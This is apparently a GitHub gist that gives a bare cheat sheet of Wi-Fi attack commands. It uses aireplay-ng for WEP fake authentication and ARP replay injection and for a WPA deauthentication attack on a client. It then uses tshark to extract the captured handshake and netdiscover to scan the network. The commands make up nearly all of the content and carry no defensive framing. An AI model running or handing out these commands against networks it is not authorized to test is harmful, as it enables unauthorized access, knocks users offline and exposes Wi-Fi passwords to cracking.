Skip to content

Instantly share code, notes, and snippets.

@AglaianWoman
Created October 26, 2017 01:42
Show Gist options
  • Save AglaianWoman/c49a7c8c5db9f24e3d6cac3181acc668 to your computer and use it in GitHub Desktop.
Save AglaianWoman/c49a7c8c5db9f24e3d6cac3181acc668 to your computer and use it in GitHub Desktop.
# WEP
aireplay-ng -1 0 -a <MAC> wlan0
aireplay-ng -3 -b <MAC> wlan0
# WPA
aireplay-ng -0 1 -a <MAC> -c <CLIENT_MAC> wlan0
# extract handshake from capture file:
install tshark
tshark -r <input file name> -R "eapol || wlan.fc.type_subtype == 0x08" -w <output file name>
# find out gateway IP
install netdiscover
netdiscover -i wlan0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment